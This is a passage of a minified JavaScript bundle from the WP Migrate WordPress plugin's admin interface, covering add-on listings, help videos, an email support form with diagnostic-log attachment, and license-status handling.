0 0 7.105 5.386 59.318 59.318 0 0 1-3.154 1.838l-.026-.019a72.861 72.861 0 0 1-6.33-4.935c-5.38 5.397-6.896 9.307-6.184 10.36.24.354.939.558 1.915.558 4.486 0 11.608-3.782 15.82-6.495 5.173-3.33 11.072-8.114 14.77-12.987zm4.537 13.295a3.622 3.622 0 1 0-2.71 1.894c1.055 1.921 1.038 2.996.791 3.35-.235.338-.955.54-1.926.54-3.058 0-7.318-1.771-10.06-3.108a80.287 80.287 0 0 1-3.167 2.098c3.677 1.945 9.084 4.303 13.227 4.303 2.703 0 4.009-1.062 4.629-1.952.88-1.264 1.317-3.468-.784-7.125z",fill:"#236de7"})));a.p;var vn;function En(){return En=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",En({height:64,viewBox:"0 0 64 64",width:64,xmlns:"http://www.w3.org/2000/svg"},e),vn||(vn=r.createElement("g",{fill:"#236de7",fillRule:"evenodd"},r.createElement("path",{d:"M27 24.5c0-.828 2.239-1.5 5-1.5s5 .672 5 1.5v3c0 .828-2.239 1.5-5 1.5s-5-.672-5-1.5v-3zm5 1.5c1.657 0 3-.448 3-1s-1.343-1-3-1-3 .448-3 1 1.343 1 3 1zM27 14.5c0-.828 2.239-1.5 5-1.5s5 .672 5 1.5v3c0 .828-2.239 1.5-5 1.5s-5-.672-5-1.5v-3zm5 1.5c1.657 0 3-.448 3-1s-1.343-1-3-1-3 .448-3 1 1.343 1 3 1zM17 19.5c0-.828 2.239-1.5 5-1.5s5 .672 5 1.5v3c0 .828-2.239 1.5-5 1.5s-5-.672-5-1.5v-3zm5 1.5c1.657 0 3-.448 3-1s-1.343-1-3-1-3 .448-3 1 1.343 1 3 1zM37 19.5c0-.828 2.239-1.5 5-1.5s5 .672 5 1.5v3c0 .828-2.239 1.5-5 1.5s-5-.672-5-1.5v-3zm5 1.5c1.657 0 3-.448 3-1s-1.343-1-3-1-3 .448-3 1 1.343 1 3 1zM33 32l24-12v12L33 44zM33 46l24-12v12L33 58zM31 32 7 20v12l24 12zM31 46 7 34v12l24 12z"}),r.createElement("path",{d:"M54 21.5 32 10 10 21.5 7 20 32 7l25 13z"}))));a.p;var yn;function An(){return An=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",An({width:64,height:64,viewBox:"0 0 64 64",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),yn||(yn=r.createElement("path",{d:"M29.467 52h5.066v-5.467L44 36.133V23.4H20v12.733l9.467 10.4V52Zm-4 4v-7.867L16 37.733V23.4c0-1.111.389-2.056 1.167-2.833.777-.778 1.722-1.167 2.833-1.167h4.8l-2 2V8h4v11.4h10.4V8h4v13.4l-2-2H44c1.111 0 2.056.389 2.833 1.167.778.777 1.167 1.722 1.167 2.833v14.333l-9.467 10.4V56H25.467Z",fill:"#2572E4"})));a.p;var xn;function Nn(){return Nn=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Nn({width:64,height:64,viewBox:"0 0 64 64",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),xn||(xn=r.createElement("path",{d:"M11.349 49.72c-.856 0-1.628-.343-2.316-1.032C8.344 48 8 47.228 8 46.372V17.35c0-.856.344-1.628 1.033-2.316.688-.689 1.46-1.033 2.316-1.033h15.684l3.348 3.349h18.921c.856 0 1.628.344 2.317 1.032.688.689 1.032 1.46 1.032 2.317h-23.72l-3.35-3.35H11.35v29.024l5.693-22.325H56l-5.972 23.107c-.223.892-.633 1.544-1.228 1.953-.595.41-1.358.614-2.288.614H11.349Zm3.516-3.348h31.926l4.688-18.977H19.554l-4.689 18.977Zm0 0 4.688-18.977-4.688 18.977ZM11.35 20.698v-3.35 3.35Z",fill:"#2572E4"})));a.p;var Tn="true"===(0,g.PQ)()?"MDB%2BPaid":"MDB%2BFree";const Pn=e=>r.createElement("div",{className:"addons-container"},r.createElement(on,(0,s.A)({icon:r.createElement(hn,{className:"addon-icon"}),addon:"wp-migrate-db-pro-multisite-tools",name:"multisiteTools",title:(0,v.__)("Multisite Tools","wp-migrate-db-pro"),desc:(0,v.__)("Export, push, and pull subsites from multisite networks.","wp-migrate-db"),readMoreLink:"https://deliciousbrains.com/wp-migrate-db-pro/doc/multisite-tools-addon/?utm_campaign=addons%2Binstall&utm_medium=insideplugin&utm_source=".concat(Tn)},e)),r.createElement(on,(0,s.A)({icon:r.createElement(pn,{className:"addon-icon"}),addon:"wp-migrate-db-pro-media-files",name:"mediaFiles",title:(0,v.__)("Media Uploads","wp-migrate-db"),desc:(0,v.__)("Push and pull media uploads between two WordPress installs.","wp-migrate-db"),readMoreLink:"https://deliciousbrains.com/wp-migrate-db-pro/doc/media-files-addon/?utm_campaign=addons%2Binstall&utm_medium=insideplugin&utm_source=".concat(Tn)},e)),r.createElement(on,(0,s.A)({icon:r.createElement(wn,{className:"addon-icon"}),addon:"wp-migrate-db-pro-theme-plugin-files",name:"themeFiles",title:(0,v.__)("Themes","wp-migrate-db"),desc:(0,v.__)("Push and pull theme files between two WordPress installs.","wp-migrate-db"),readMoreLink:"https://deliciousbrains.com/wp-migrate-db-pro/doc/theme-plugin-files-addon/?utm_campaign=addons%2Binstall&utm_medium=insideplugin&utm_source=".concat(Tn)},e)),r.createElement(on,(0,s.A)({icon:r.createElement(kn,{className:"addon-icon"}),addon:"wp-migrate-db-pro-theme-plugin-files",name:"pluginFiles",title:(0,v.__)("Plugins & MU-Plugins","wp-migrate-db"),desc:(0,v.__)("Push and pull plugin files and mu-plugin files between two WordPress installs.","wp-migrate-db"),readMoreLink:"https://deliciousbrains.com/wp-migrate-db-pro/doc/theme-plugin-files-addon/?utm_campaign=addons%2Binstall&utm_medium=insideplugin&utm_source=".concat(Tn)},e)),r.createElement(on,(0,s.A)({icon:r.createElement(Sn,{className:"addon-icon"}),addon:"wp-migrate-db-pro-theme-plugin-files",name:"otherFiles",title:(0,v.__)("Other Files","wp-migrate-db"),desc:(0,v.__)("Push and pull all other files such as languages from the wp-content directory.","wp-migrate-db")},e)),r.createElement(on,(0,s.A)({icon:r.createElement(gn,{className:"addon-icon"}),addon:"wp-migrate-db-pro-cli",name:"cli",title:(0,v.__)("WP-CLI Integration","wp-migrate-db"),desc:(0,v.__)("Integrates with WP-CLI to run custom migrations and saved profiles from the command line.","wp-migrate-db"),readMoreLink:"https://deliciousbrains.com/wp-migrate-db-pro/doc/cli-addon/?utm_campaign=addons%2Binstall&utm_medium=insideplugin&utm_source=".concat(Tn)},e)));const On=(0,i.Ng)((e=>{var t=e.dbi_api_data;return{settings:e.settings,api_data:t.api_data,license:t.licence,licence_errors:t.license_errors}}),{checkLicence:rn.UA})((e=>{var t=e.api_data,a=window.wpmdb_data.is_pro,n=e.settings,i=n.masked_licence,l=n.license_constant,s=(0,r.useState)(!1),c=(0,y.A)(s,2),o=c[0],d=c[1];return(0,r.useEffect)((()=>{"true"===a&&(i||l)?(async()=>{await e.checkLicence(),d(!0)})():d(!0)}),[]),r.createElement("section",{className:"wpmdb-addons"},o||t.hasOwnProperty("addon_content")?r.createElement(r.Fragment,null,r.createElement(Pn,null)):r.createElement("p",null,(0,v.__)("Fetching upgrades, please wait...","wp-migrate-db")," ",r.createElement(it.xj,{className:"addons-tab-spinner"})))}));var Cn;a(14162);function Rn(){return Rn=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Rn({xmlns:"http://www.w3.org/2000/svg",width:32,height:32,viewBox:"0 0 32 32"},e),Cn||(Cn=r.createElement("path",{fill:"#236DE7",d:"M16 0C7.163 0 0 7.163 0 16s7.163 16 16 16 16-7.163 16-16S24.837 0 16 0Zm7.656 17.285-9.544 6.565a1.565 1.565 0 0 1-1.61.097 1.564 1.564 0 0 1-.834-1.381V9.434a1.561 1.561 0 0 1 2.444-1.284l9.544 6.565a1.56 1.56 0 0 1 0 2.57Z"})));a.p;var In=a(15981),Mn=e=>{var t=(0,r.useState)("almfii0s7j"),a=(0,y.A)(t,2),n=a[0],i=a[1],l=(e,t)=>{"Enter"!==t.key&&" "!==t.key||i(e)};return r.createElement(r.Fragment,null,r.createElement(In.A,{videoID:n}),r.createElement("div",{className:"video-container container-shadow flex-container",onClick:()=>i("almfii0s7j"),onKeyPress:e=>{l("almfii0s7j",e)},tabIndex:0},r.createElement("div",{className:"column"},r.createElement(Dn,null)),r.createElement("div",{className:"column"},r.createElement("h3",null,(0,v.__)("UI Walkthrough","wp-migrate-db")),r.createElement("p",null,(0,v.__)("A brief walkthrough of the WP Migrate plugin showing all of the different options and explaining them.","wp-migrate-db")))),r.createElement("div",{className:"video-container container-shadow flex-container",onClick:()=>i("8uq5tj0r5k"),onKeyPress:e=>{l("8uq5tj0r5k",e)},tabIndex:0},r.createElement("div",{className:"column"},r.createElement(Dn,null)),r.createElement("div",{className:"column"},r.createElement("h3",null,(0,v.__)("Pulling Live Data Into Your Local Development Environment","wp-migrate-db")),r.createElement("p",null,(0,v.__)("This screencast demonstrates how you can pull data from a remote, live WordPress install and update the data in your local development environment.","wp-migrate-db")))),r.createElement("div",{className:"video-container container-shadow flex-container",onClick:()=>i("77bpg5x9xb"),onKeyPress:e=>{l("77bpg5x9xb",e)},tabIndex:0},r.createElement("div",{className:"column"},r.createElement(Dn,null)),r.createElement("div",{className:"column"},r.createElement("h3",null,(0,v.__)("Pushing Local Development Data to a Live Environment","wp-migrate-db")),r.createElement("p",null,(0,v.__)("This screencast demonstrates how you can push a local WordPress database you've been using for development to a live environment.","wp-migrate-db")))),r.createElement("div",{className:"video-container container-shadow flex-container",onClick:()=>i("kc7t308qu9"),onKeyPress:e=>{l("kc7t308qu9",e)},tabIndex:0},r.createElement("div",{className:"column"},r.createElement(Dn,null)),r.createElement("div",{className:"column"},r.createElement("h3",null,(0,v.__)("WP Migrate Media Uploads","wp-migrate-db")),r.createElement("p",null,(0,v.__)("This screencast demonstrates how WP Migrate allows you to migrate media uploads by choosing all uploads or new uploads from a specific date.","wp-migrate-db")))),r.createElement("div",{className:"video-container container-shadow flex-container",onClick:()=>i("swrxgaff82"),onKeyPress:e=>{l("swrxgaff82",e)},tabIndex:0},r.createElement("div",{className:"column"},r.createElement(Dn,null)),r.createElement("div",{className:"column"},r.createElement("h3",null,(0,v.__)("WP Migrate Themes and Plugins","wp-migrate-db")),r.createElement("p",null,(0,v.__)("This screencast demonstrates how to migrate themes and plugins.","wp-migrate-db")))),r.createElement("div",{className:"video-container container-shadow flex-container",onClick:()=>i("q4uu8j44hh"),onKeyPress:e=>{l("q4uu8j44hh",e)},tabIndex:0},r.createElement("div",{className:"column"},r.createElement(Dn,null)),r.createElement("div",{className:"column"},r.createElement("h3",null,(0,v.__)("WP Migrate CLI","wp-migrate-db")),r.createElement("p",null,(0,v.__)("This screencast demonstrates how CLI commands enable the full suite of WP Migrate functionality from your command-line terminal.","wp-migrate-db")))))},Ln={email:(0,v.__)("Please select your email address.","wp-migrate-db"),subject:(0,v.__)("Please enter a subject.","wp-migrate-db"),message:(0,v.__)("Please enter a message.","wp-migrate-db"),"remote-diagnostic-content":(0,v.__)("Please paste in the Diagnostic Info & Error Log from your remote site.","wp-migrate-db"),"same-diagnostic-log":(0,v.__)("Looks like you pasted the local Diagnostic Info & Error Log into the textbox for the remote info. Please get the info for your remote site and paste it in, or just uncheck the second checkbox if you’d rather not include your remote site info.","wp-migrate-db")};var Fn=async(e,t,a,n,r)=>{e.preventDefault();var i=function(e,t,a){e({type:"RESET_ERRORS"});var n=["email","subject","message"];t.fields.hasOwnProperty("remote-diagnostic")&&t.fields["remote-diagnostic"]&&n.push("remote-diagnostic-content");var r=!0;if(n.forEach((a=>{t.fields.hasOwnProperty(a)&&0!==t.fields[a].length||(r=!1,e({type:"SET_ERROR",field_name:a,message:Ln[a]}))})),Object.keys(t.fields).includes("remote-diagnostic-content")){var i=t.fields["remote-diagnostic-content"].split("\n"),l=a.split("\n"),s=i[0]||"",c=l[0]||"";s.length>0&&c.length>0&&c.trim()===s.trim()&&(e({type:"SET_ERROR",field_name:"remote-diagnostic-content",message:Ln["same-diagnostic-log"]}),r=!1)}if(!r)return!0}(a,t,n);if(!i){var l,s=t.fields,c={email:s.email,subject:s.subject,message:s.message,"local-diagnostic":t.fields["local-diagnostic"]||!1,"remote-diagnostic":t.fields["remote-diagnostic"]||!1,"remote-diagnostic-content":t.fields["remote-diagnostic-content"]||"","local-diagnostic-content":t.fields["local-diagnostic"]?n:""};a({type:"SET_STATUS",status:"sending"});try{l=await(0,g.eu)(r,c)}catch(Tr){return void a({type:"SET_API_ERROR",field_name:"network_error",message:Tr.message})}if(l.hasOwnProperty("errors")){var o=Object.keys(l.errors);a({type:"SET_API_ERROR",field_name:o[0],message:l.errors[o[0]]})}else l.hasOwnProperty("success")&&1===l.success&&a({type:"SET_STATUS",status:"success"})}};const Bn=e=>{var t=e.diagnosticLog,a=e.state,n=e.dispatch,i=e.api_data,l=e.licenceStatus,s=Object.keys(a.errors).length>0,c=(0,r.useState)(""),o=(0,y.A)(c,2),d=o[0],m=o[1],p=a.fields;(0,r.useEffect)((()=>{var e=i.hasOwnProperty("support_contacts")&&1===i.support_contacts.length?i.support_contacts[0]:p.email;n({type:"SET_FIELD",field_name:"email",val:e}),m(e)}),[]);var u=e=>{var t=e.target,a="checkbox"===t.type?t.checked:t.value,r=t.name;n({type:"SET_FIELD",field_name:r,val:a})};if("active_licence"!==l||!i.support_contacts)return null;var _,g=i.license_name,f=i.support_email,b=Object.keys(a.errors);return b.length>0&&(_=r.createElement(z.A,{type:"danger"},(0,h.Ay)(a.errors[b[0]]))),"success"===a.status?r.createElement(r.Fragment,null,r.createElement(z.A,{type:"success"},r.createElement("p",{style:{margin:0}},(0,h.Ay)((0,v.__)("Thanks for submitting your support request.
We'll be in touch soon.","wp-migrate-db")))),r.createElement("div",{className:"diagnostic-log success"},e.Log)):r.createElement(r.Fragment,null,r.createElement("p",{className:"valid-license"},(0,h.Ay)((0,v.nv)((0,v.__)("You have an active %s license. You will get front-of-the-line email support service when submitting the form below.","wp-migrate-db"),g))),r.createElement("form",{className:"help-form wpmdb-form".concat(s?" error":"")},r.createElement("div",{className:"field from"},r.createElement("div",{className:"select-email"},r.createElement("label",null,"From:"),r.createElement("div",null,r.createElement("select",{name:"email",onChange:u,value:d},r.createElement("option",{value:""},(0,v.__)("Select your email address...","wp-migrate-db")),i.support_contacts.map(((e,t)=>r.createElement("option",{value:e,key:t},e)))),r.createElement("p",{className:"note"},(0,h.Ay)((0,v.nv)((0,v.__)('Replies will be sent to this email address.
Update your name & email in My Account',"wp-migrate-db"),"https://deliciousbrains.com/my-account")))))),r.createElement("div",{className:"field subject"},r.createElement("input",{type:"text",name:"subject",placeholder:"Subject",onChange:u,value:p.subject||""})),r.createElement("div",{className:"field email-message"},r.createElement("textarea",{name:"message",placeholder:"Message",onChange:u,value:a.message})),r.createElement("div",{className:"field checkbox local-diagnostic"},r.createElement("label",null,r.createElement("input",{type:"checkbox",name:"local-diagnostic",onChange:u,checked:p["local-diagnostic"]||!1}),(0,h.Ay)((0,v.__)("Attach this site’s Diagnostic Info & Error Log (below)","wp-migrate-db")))),r.createElement("div",{className:"field checkbox remote-diagnostic".concat(p["remote-diagnostic"]?" checked":"")},r.createElement("label",null,r.createElement("input",{type:"checkbox",name:"remote-diagnostic",onChange:u,checked:p["remote-diagnostic"]||!1}),(0,h.Ay)((0,v.__)("Attach the remote site’s Diagnostic Info & Error Log","wp-migrate-db")))),p["remote-diagnostic"]&&r.createElement("div",{className:"field remote-diagnostic-content"},r.createElement("ol",null,r.createElement("li",null,(0,v.__)("Go to the Help tab of the remote site","wp-migrate-db")),r.createElement("li",null,(0,h.Ay)((0,v.__)("Copy the Diagnostic Info & Error Log","wp-migrate-db"))),r.createElement("li",null,(0,v.__)("Paste it below","wp-migrate-db"))),r.createElement("textarea",{name:"remote-diagnostic-content",placeholder:(0,h.Ay)((0,v.__)("Remote site’s Diagnostic Info & Error Log","wp-migrate-db")),"aria-label":(0,v.__)("Paste Diagnostic info from remote site","wp-migrate-db"),onChange:u,value:p["remote-diagnostic-content"]})),_,a.api_error.length>0&&r.createElement(z.A,{type:"danger"},r.createElement("strong",null,(0,v.__)("API Error"))," \u2014 ",a.api_error),r.createElement("div",{className:"submit-form"},r.createElement("button",{className:"btn btn-sm",onClick:r=>Fn(r,a,n,t,e.formURL)},(0,v.__)("Send Email","wp-migrate-db")),"sending"===a.status&&r.createElement(it.xj,{className:"help-spinner send-email"})),r.createElement("p",{className:"note trouble"},(0,h.Ay)((0,v.nv)((0,v.__)('Having trouble submitting the form? Email your support request to
%s instead.',"wp-migrate-db"),f,f)))))};const Un=(0,i.Ng)((e=>{var t=(0,Q.yy)("this_url",e),a=e.dbi_api_data,n=a.licence,r=a.license_errors,i=e.dbi_api_data.licence.licence_status;return{settings:e.settings,dbi_api_data:a,license_errors:r,licence:n,licence_status:i,url:t,api_data:e.dbi_api_data.api_data}}),{checkLicence:rn.UA})((e=>{var t=e.api_data,a=e.state,n=e.dispatch,l=e.settings,s=l.masked_licence,c=l.license_constant,o=e.licence_status,d=e.license_errors,m=t.form_url,p=(0,r.useState)(""),u=(0,y.A)(p,2),_=u[0],f=u[1];return(0,r.useEffect)((()=>{(async()=>{s&&await e.checkLicence((e=>function(e,t,a){return async n=>await n((0,g.ZY)({preRequest:(0,i.vA)((()=>{t("fetching")})),asyncFn:e,requestFailed:e=>{t("failed")},requestSuccess:e=>{t(a)}}))}(e,f,o)))})()}),[o]),"active_licence"===o||s||c?"fetching"===_?r.createElement("p",null,(0,v.__)("Fetching license information, please wait...","wp-migrate-db"),r.createElement(it.xj,{className:"help-spinner"})):d&&Object.keys(d).length>0?null:!t.support_contacts&&t.api_time>0?r.createElement(z.A,{type:"danger"},(0,h.Ay)((0,v.__)("Unable to get information from the Delicious Brains API.","wp-migrate-db"))):r.createElement("div",null,r.createElement("h2",{className:"email-support"},"Email Support"),r.createElement(Bn,{state:a,dispatch:n,licenceStatus:o,licenceState:_,api_data:t,diagnosticLog:e.diagnosticLog,Log:e.Log,formURL:m})):r.createElement(z.A,{type:"danger"},(0,h.Ay)((0,v.__)("We couldn't find your license information. Please switch to the settings tab and enter your license.
Once completed, you may visit this tab to view your support details.","wp-migrate-db")))}));var zn=a(23622),Gn=a(52129);const jn=e=>{var t=e.status,a=e.children,n=e.errors,i=(0,r.useState)(),l=(0,y.A)(i,2),c=l[0],o=l[1],d=(0,r.useCallback)((e=>{null!==e&&o(e.getBoundingClientRect())}),[]);return a?r.createElement(r.Fragment,null,r.createElement("span",{ref:d},a),r.createElement("div",{className:"relative"},!0===t&&r.createElement(it.LC,null)),r.createElement(zn.e,{in:"success"===t},r.createElement(Gn.oA,(0,s.A)({locationInfo:c,classNames:"toggle-success"},e))),r.createElement(zn.e,{in:"errored"===t},r.createElement(Gn.Jn,(0,s.A)({error:n,locationInfo:c,classNames:"toggle-error"},e)))):null};var Vn=(0,r.forwardRef)(((e,t)=>{var a=e.children,n=e.callback,i=e.classNames,l=e.ajaxData,s=l.endpoint,c=l.args,o=(0,r.useState)(),d=(0,y.A)(o,2),m=d[0],p=d[1],u=(0,r.useState)(),_=(0,y.A)(u,2),f=_[0],b=_[1];return r.createElement(jn,{status:m,errors:f},r.createElement("button",{className:i,onClick:e=>{p(!0),(0,g.ty)(s,c).then((e=>{if(!e.success)throw new Error("AJAX error: ".concat(e.data));n(e.data),p("success"),setTimeout((()=>{p()}),800)})).catch((e=>{p(!1),b(e.message),console.error(e),console.error(e.message)}))}},a))})),Hn=["log","setLog"];const Wn=e=>{var t=e.log,a=e.setLog,n=((0,A.A)(e,Hn),(0,i.wA)().dispatch);return(0,r.useEffect)((()=>{var e=!0;return(0,g.ty)("/get-log",{},!1,n).then((t=>{if(e){if(!t.success)throw new Error("Unable to retrieve diagnostic log");a(t.data)}})).catch((e=>{console.error(e.message)})),()=>{e=!1}}),[]),r.createElement(r.Fragment,null,r.createElement("h2",{id:"diagnostic-log-title"},(0,v.__)("Diagnostic Info & Error Log","wp-migrate-db")),r.createElement("textarea",{"aria-labelledby":"diagnostic-log-title",value:t||"",readOnly:!0}),r.createElement("div",{className:"flex-container"},r.createElement("a",{href:window.wpmdb_data.diagnostic_log_download_url,className:"btn btn-sm btn-stroke"},(0,h.Ay)((0,v.__)('Download error log',"wp-migrate-db"))),r.createElement(Vn,{callback:a,classNames:"btn btn-sm btn-stroke clear-log-btn",ajaxData:{endpoint:"/clear-log",args:{}}},(0,v.__)("Clear Error Log","wp-migrate-db"))))};var qn=a(24914),Zn=a.n(qn),Qn=a(35305);const Yn=(0,i.Ng)((e=>{var t=e.dbi_api_data;return{settings:e.settings,api_data:t.api_data,license:t.licence,licence_errors:t.license_errors,dbi_down_status:t.dbi_down_status}}))((e=>{var t,a=e.api_data,n=e.license,i=e.licence_errors,l=e.screen,s=e.dbi_down_status,c=n.licence_status,o=(0,r.useState)(!1),d=(0,y.A)(o,2),m=d[0],p=d[1];(0,r.useEffect)((()=>{p(["subscription_cancelled","subscription_expired","licence_not_found","activation_deactivated"].includes(c))}),[c]);var u=!1;if(void 0!==a.dbrains_api_down){var _=[a.dbrains_api_down];return"support"===l&&void 0!==a.message&&_.push(a.message),_.map((t=>r.createElement(z.A,{type:"danger",key:Zn()()},r.createElement("span",null,(0,h.Ay)(t),r.createElement(Qn.default,e)))))}if(s){var f=(0,g.XA)(i);return r.createElement("div",null,f&&f.map((t=>r.createElement(z.A,{type:"danger",key:Zn()()},r.createElement("span",null,(0,h.Ay)(t),r.createElement(Qn.default,e))))))}if(m&&(a.hasOwnProperty("errors")&&a.errors.hasOwnProperty(c)?t=a.errors[c][l]||a.errors[c].default:"string"===typeof i[c]&&(t=i[c]),u=!0),t){var b="subscription_expired"===c?"warning":"danger";return r.createElement(z.A,{type:b},(0,h.Ay)(t),u&&r.createElement(jn,null,r.createElement(Qn.default,e)))}return null}));var Jn={fields:{"remote-diagnostic":!0,"local-diagnostic":!0},errors:{},api_error:"",status:""},Kn=(e,t)=>{var a=(0,w.A)({},e);switch(t.type){case"SET_FIELD":return a.fields[t.field_name]=t.val,a;case"SET_API_ERROR":return a.api_error=t.message,a.status="",a;case"SET_ERROR":return a.errors[t.field_name]=t.message,a.status="",a;case"SET_STATUS":return a.status=t.status,a;case"RESET_ERRORS":return a.errors={},a}};const Xn=(0,i.Ng)((e=>{var t=(0,Q.yy)("this_url",e),a=(0,Z.k)("license_errors",e);return{settings:e.settings,license_errors:a,url:t}}),{checkLicence:rn.UA})((e=>{var t=(0,r.useReducer)(Kn,Jn),a=(0,y.A)(t,2),n=a[0],i=a[1],l=(0,r.useState)("email"),s=(0,y.A)(l,2),c=s[0],o=s[1],d=(0,r.useState)("Loading..."),m=(0,y.A)(d,2),p=m[0],u=m[1],_=(e,t)=>(e.preventDefault(),o(t),!1);return r.createElement(r.Fragment,null,r.createElement("div",{className:"wpmdb-help-wrap"},r.createElement("div",{className:"wrapper"},r.createElement("ul",{className:"subnav flex-container"},r.createElement("li",{className:"email"===c?"subnav-item-active":""},r.createElement("button",{onClick:e=>{_(e,"email")}},(0,v.__)("Email Support","wp-migrate-db"))),r.createElement("li",{className:"videos"===c?"subnav-item-active":""},r.createElement("button",{onClick:e=>{_(e,"videos")}},(0,v.__)("Videos","wp-migrate-db")))))),r.createElement("div",{className:"wpmdb-help-wrap ".concat(c).concat("success"===n.status?" success":"")},r.createElement("div",{className:"wrapper"},r.createElement("div",{className:"wpmdb-help-tab"},r.createElement("div",{className:"support-wrapper"},"email"===c?r.createElement("div",{className:"support-form"},r.createElement("div",{id:"help-form"},r.createElement(Un,{diagnosticLog:p,state:n,dispatch:i,Log:r.createElement(Wn,{log:p,setLog:u})}),r.createElement(Yn,{screen:"support"}))):r.createElement("div",{className:"support-videos"},r.createElement(Mn,null)),r.createElement("aside",{className:"additional-help"},r.createElement("section",{className:"docs documentation-panel container-shadow column"},r.createElement("h2",null,(0,v.__)("Documentation","wp-migrate-db")),r.createElement("ul",{className:"categories"},r.createElement("li",null,r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/docs/getting-started/?utm_source=MDB%2BPaid&utm_campaign=support%2Bdocs&utm_medium=insideplugin",target:"_blank",rel:"noopener noreferrer",className:"link documentation-link"},(0,v.__)("Getting Started","wp-migrate-db"))),r.createElement("li",null,r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/docs/debugging/?utm_source=MDB%2BPaid&utm_campaign=support%2Bdocs&utm_medium=insideplugin",target:"_blank",rel:"noopener noreferrer",className:"link documentation-link"},(0,v.__)("Debugging","wp-migrate-db"))),r.createElement("li",null,r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/docs/cli/?utm_source=MDB%2BPaid&utm_campaign=support%2Bdocs&utm_medium=insideplugin",target:"_blank",rel:"noopener noreferrer",className:"link documentation-link"},(0,v.__)("CLI","wp-migrate-db"))),r.createElement("li",null,r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/docs/common-errors/?utm_source=MDB%2BPaid&utm_campaign=support%2Bdocs&utm_medium=insideplugin",target:"_blank",rel:"noopener noreferrer",className:"link documentation-link"},(0,v.__)("Common Errors","wp-migrate-db"))),r.createElement("li",null,r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/docs/howto/?utm_source=MDB%2BPaid&utm_campaign=support%2Bdocs&utm_medium=insideplugin",target:"_blank",rel:"noopener noreferrer",className:"link documentation-link"},(0,v.__)("How To","wp-migrate-db"))),r.createElement("li",null,r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/docs/addons/?utm_source=MDB%2BPaid&utm_campaign=support%2Bdocs&utm_medium=insideplugin",target:"_blank",rel:"noopener noreferrer",className:"link documentation-link"},(0,v.__)("Addons","wp-migrate-db"))),r.createElement("li",null,r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/docs/multisite/?utm_source=MDB%2BPaid&utm_campaign=support%2Bdocs&utm_medium=insideplugin",target:"_blank",rel:"noopener noreferrer",className:"link documentation-link"},(0,v.__)("Multisite","wp-migrate-db"))),r.createElement("li",null,r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/docs/changelogs/?utm_source=MDB%2BPaid&utm_campaign=support%2Bdocs&utm_medium=insideplugin",target:"_blank",rel:"noopener noreferrer",className:"link documentation-link"},(0,v.__)("Changelogs","wp-migrate-db")))))))))),"email"===c&&"success"!==n.status&&r.createElement("div",{className:"wrapper diagnostic-log"},r.createElement(Wn,{log:p,setLog:u})))}));a(73814);var $n,er,tr,ar,nr,rr,ir=a(82597),lr=e=>{var t=e.settings,a=t.errors,n=t.status,l=(0,i.wA)(),c=e.value,o=e.settingsKey,d=e.settingName,m=e.handler,p=e.handlerArgs,u=e.callBack,_=(0,r.useState)(),g=(0,y.A)(_,2),f=g[0],b=g[1],h=(0,r.useCallback)((e=>{null!==e&&b(e.getBoundingClientRect())}),[]);return r.createElement("div",{className:"flex-container"},r.createElement("div",{className:"toggle-switch"},r.createElement("input",{type:"checkbox",checked:c,onChange:()=>((e,t)=>!0!==n[o]&&(m?m(e,t,(0,w.A)({},p)):void l((0,ir.vs)(e,t,u))))(o,!c),id:o,"aria-labelledby":"".concat(o,"-label")}),r.createElement("label",{className:"toggle-label".concat(c?" checked":""),htmlFor:o},"Toggle")),r.createElement("div",{className:"migration-action"},r.createElement("div",{className:"flex-container"},r.createElement("h3",{className:"toggle-title",id:"".concat(o,"-label"),ref:h},d),r.createElement("div",{className:"relative".concat(e.spinnerStyle||"")},!0===n[o]&&r.createElement(it.xj,{className:"settings-spinner"}))),r.createElement(zn.e,{in:"success"===n[o]},r.createElement(Gn.oA,(0,s.A)({offset:e.offset||null,locationInfo:f,classNames:"toggle-success"},e))),r.createElement(zn.e,{in:"errored"===n[o]},r.createElement(Gn.Jn,(0,s.A)({offset:e.offset||null,error:a[o],locationInfo:f,classNames:"toggle-error"},e))),r.createElement("span",null,e.children)))},sr=a(67885),cr=a.n(sr);function or(){return or=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",or({id:"Layer_1","data-name":"Layer 1",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 459 459"},e),$n||($n=r.createElement("defs",null,r.createElement("style",null,".cls-2{fill:#80bdd4}.cls-3{fill:#042340}"))),r.createElement("path",{style:{fill:"#a5ddf1"},d:"M0 0h459v459H0z"}),er||(er=r.createElement("path",{className:"cls-2",d:"M144.9 379.68a6.21 6.21 0 0 1-.57-.49 19.06 19.06 0 0 0-2.8-2 11.73 11.73 0 0 1-1.79-1 60.76 60.76 0 0 0-58.9-39.53 86.13 86.13 0 0 0-11.22 1.53 54.56 54.56 0 0 0-14 5.1l-3.82 2.3a30.65 30.65 0 0 0-2-5.1 52.49 52.49 0 0 0-18.36-21.68 77.52 77.52 0 0 0 38-41.05c0-.26.26-.77.26-1s.25-.51.25-.77a66.1 66.1 0 0 0 3.06-10.2 74.47 74.47 0 0 0 1.28-7.9 74.61 74.61 0 0 0-1.53-24.74 102.43 102.43 0 0 0-4.08-12.49 77.64 77.64 0 0 0-16.07-24 59.74 59.74 0 0 0-5.94-5.66 68.93 68.93 0 0 0-10-6.89 79 79 0 0 0-25.24-9.18c-3.32-.51-6.89-.76-10.2-1 2.8-1 5.61-1.78 8.41-2.55a63.89 63.89 0 0 1 53.6 12.22 22 22 0 0 1 7.14 6.63c1.53 1.79 3.06 3.57 4.34 5.36a46.11 46.11 0 0 1 26 82.62 71.67 71.67 0 0 1 24.22 11 84 84 0 0 1 36.47-19.38 79.36 79.36 0 0 1 49.47 4.34 44.8 44.8 0 0 1 23.2-6.63c23.46.25 42.58 19.38 42.33 